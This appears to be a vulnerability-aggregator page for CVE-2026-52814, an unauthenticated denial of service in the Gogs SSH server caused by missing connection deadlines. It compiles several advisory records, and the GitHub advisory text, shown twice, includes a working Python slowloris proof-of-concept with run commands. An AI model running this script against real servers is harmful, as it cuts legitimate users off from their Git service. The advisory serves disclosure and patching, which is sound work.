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CVE-2026-52814

Gogs: Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)

5.5 MediumFix available

Gogs is an open source self-hosted Git service. Prior to 0.14.3, the Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn. An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures). This vulnerability is fixed in 0.14.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
Low

Exploit likelihood

0.55%Unchanged since Jun 25, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.5

Gogs: Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)

Gogs is an open source self-hosted Git service. Prior to 0.14.3, the Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn. An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures). This vulnerability is fixed in 0.14.3.

Record
CVE-2026-52814
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2026-39067 5.5

Gogs is an open source self-hosted Git service. Prior to 0.14.3, the Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn. An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures). This vulnerability is fixed in 0.14.3.

Record
EUVD-2026-39067
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Updated
2026-11-02
GitHub AdvisoriesGHSA-xp79-5mx3-jx52 5.5

Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)

The Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn.

An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures).

Vulnerability Details

In internal/ssh/ssh.go, the listen function contains an accept loop that spawns a goroutine for every incoming connection:

for {
    conn, err := listener.Accept()
    // ...
    go func() {
        // VULNERABILITY: No conn.SetDeadline() is called here
        sConn, chans, reqs, err := ssh.NewServerConn(conn, config)
        // ...
    }()
}

The golang.org/x/crypto/ssh package is transport-agnostic and explicitly relies on the caller to manage connection timeouts before initiating the cryptographic handshake. Because Gogs never calls conn.SetDeadline(), the call to NewServerConn eventually reaches io.ReadFull (inside readVersion()) and blocks forever on the kernel TCP socket waiting for the client to send the SSH-2.0-... banner.

Each stuck connection consumes a file descriptor and ~10KB of memory (Goroutine stack + connection structs). An attacker holding thousands of these connections open with zero bandwidth (no data sent) will quickly exhaust the OS ulimit -n limits (accept4: too many open files), completely neutralizing the service.

Steps to Reproduce

1. Environment Setup: Ensure Gogs is configured to use the built-in Go SSH server in app.ini:

[server]
START_SSH_SERVER = true
SSH_PORT = 2222
SSH_LISTEN_PORT = 2222

2. The Exploit (PoC): Save the following Python script as slowloris-ssh.py. This script connects to the SSH port and intentionally stalls the handshake.

#!/usr/bin/env python3
import socket, sys, time

target_host = sys.argv[1]
target_port = int(sys.argv[2])
n = int(sys.argv[3])

sockets = []
print(f"[*] Starting SSH Slowloris on {target_host}:{target_port}...")

for i in range(n):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_host, target_port))
        # VULNERABILITY EXPLOIT: Do NOT send the "SSH-2.0-..." banner.
        sockets.append(s)
        if i % 100 == 0:
            print(f"[+] {i} stuck connections established")
    except Exception as e:
        print(f"[-] Stopped at {i} connections. Reason: {e}")
        break

print(f"[+] Holding {len(sockets)} connections to starve the server...")
while True:
    time.sleep(60)

3. Execution: Run the script against the target, ensuring the number of connections (n) exceeds the server's configured file descriptor limit (e.g., 1500 for default 1024 ulimit environments): python3 slowloris-ssh.py <target-ip> 2222 1500

4. Observe the Impact:

  • Attempt to connect legitimately: nc -v <target-ip> 2222. The connection will hang or be refused immediately.
  • Inspect the Gogs server logs/console. You will observe catastrophic I/O failures such as: [clog] [file]: rename rotated file ...: no such file or directory accept4: too many open files

Impact

  • Denial of Service: Legitimate developers cannot push, pull, or clone repositories via SSH.

POC:-

watch the following video for poc

Record
GHSA-xp79-5mx3-jx52
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Weakness
CWE-400
Updated
2026-11-02
NVD 5.5

Gogs is an open source self-hosted Git service. Prior to 0.14.3, the Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn. An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures). This vulnerability is fixed in 0.14.3.

Record
CVE-2026-52814
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-400
Updated
2026-11-02
OSV 5.5

Gogs: Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)

Gogs is an open source self-hosted Git service. Prior to 0.14.3, the Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn. An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures). This vulnerability is fixed in 0.14.3.

Record
CVE-2026-52814
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-xp79-5mx3-jx52 5.5

Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)

The Gogs built-in Go SSH server is vulnerable to an unauthenticated, asymmetric Denial of Service (DoS) attack. The application accepts inbound TCP connections and passes them to golang.org/x/crypto/ssh.NewServerConn inside a new goroutine without enforcing any read/write deadlines on the underlying net.Conn.

An unauthenticated attacker can open multiple TCP connections to the SSH port and simply withhold the SSH protocol banner. This forces the server to spawn an unbounded number of goroutines that block indefinitely waiting for socket I/O. This leads to complete File Descriptor (FD) exhaustion, preventing legitimate users from accessing the Git SSH service, and ultimately destabilizing the entire Gogs process (e.g., causing internal log rotation failures).

Vulnerability Details

In internal/ssh/ssh.go, the listen function contains an accept loop that spawns a goroutine for every incoming connection:

for {
    conn, err := listener.Accept()
    // ...
    go func() {
        // VULNERABILITY: No conn.SetDeadline() is called here
        sConn, chans, reqs, err := ssh.NewServerConn(conn, config)
        // ...
    }()
}

The golang.org/x/crypto/ssh package is transport-agnostic and explicitly relies on the caller to manage connection timeouts before initiating the cryptographic handshake. Because Gogs never calls conn.SetDeadline(), the call to NewServerConn eventually reaches io.ReadFull (inside readVersion()) and blocks forever on the kernel TCP socket waiting for the client to send the SSH-2.0-... banner.

Each stuck connection consumes a file descriptor and ~10KB of memory (Goroutine stack + connection structs). An attacker holding thousands of these connections open with zero bandwidth (no data sent) will quickly exhaust the OS ulimit -n limits (accept4: too many open files), completely neutralizing the service.

Steps to Reproduce

1. Environment Setup: Ensure Gogs is configured to use the built-in Go SSH server in app.ini:

[server]
START_SSH_SERVER = true
SSH_PORT = 2222
SSH_LISTEN_PORT = 2222

2. The Exploit (PoC): Save the following Python script as slowloris-ssh.py. This script connects to the SSH port and intentionally stalls the handshake.

#!/usr/bin/env python3
import socket, sys, time

target_host = sys.argv[1]
target_port = int(sys.argv[2])
n = int(sys.argv[3])

sockets = []
print(f"[*] Starting SSH Slowloris on {target_host}:{target_port}...")

for i in range(n):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_host, target_port))
        # VULNERABILITY EXPLOIT: Do NOT send the "SSH-2.0-..." banner.
        sockets.append(s)
        if i % 100 == 0:
            print(f"[+] {i} stuck connections established")
    except Exception as e:
        print(f"[-] Stopped at {i} connections. Reason: {e}")
        break

print(f"[+] Holding {len(sockets)} connections to starve the server...")
while True:
    time.sleep(60)

3. Execution: Run the script against the target, ensuring the number of connections (n) exceeds the server's configured file descriptor limit (e.g., 1500 for default 1024 ulimit environments): python3 slowloris-ssh.py <target-ip> 2222 1500

4. Observe the Impact:

  • Attempt to connect legitimately: nc -v <target-ip> 2222. The connection will hang or be refused immediately.
  • Inspect the Gogs server logs/console. You will observe catastrophic I/O failures such as: [clog] [file]: rename rotated file ...: no such file or directory accept4: too many open files

Impact

  • Denial of Service: Legitimate developers cannot push, pull, or clone repositories via SSH.

POC:-

watch the following video for poc

Record
GHSA-xp79-5mx3-jx52
CVSS 4.0
5.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Weakness
CWE-400
Updated
2026-11-02
OSVGO-2026-5765 No score

Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion) in gogs.io/gogs

Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion) in gogs.io/gogs.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: gogs.io/gogs before v0.14.3.

Record
GO-2026-5765
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
gogs.io/gogs
Go
 before 0.14.3
0.14.3
gogs.io/gogs
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-52814 is a medium vulnerability (CVSS 5.5) in Gogs, published June 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.55%, the 46th percentile. Fixed in gogs.io/gogs 0.14.3.

References

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